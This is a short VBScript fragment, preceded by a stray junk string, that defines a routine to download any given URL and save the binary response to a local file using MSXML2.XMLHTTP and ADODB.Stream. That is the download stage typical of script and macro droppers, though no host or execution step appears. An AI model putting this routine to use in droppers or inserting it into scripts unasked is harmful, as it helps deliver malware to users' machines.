ddgyhhfddffgh

Sub MySub(vStrU,vStrD)
Set vStrX = CreateObject("MSXML2.XMLHTTP")
vStrX.open "GET", vStrU, False
vStrX.send
If vStrX.Status = 200 Then
Dim vStrSr
Set vStrSr = CreateObject("ADODB.Stream")
With vStrSr
.Type = 1
.Open
.Write vStrX.responseBody
.SaveToFile vStrD
.Close
End With
set vStrSr = Nothing
End If
End Sub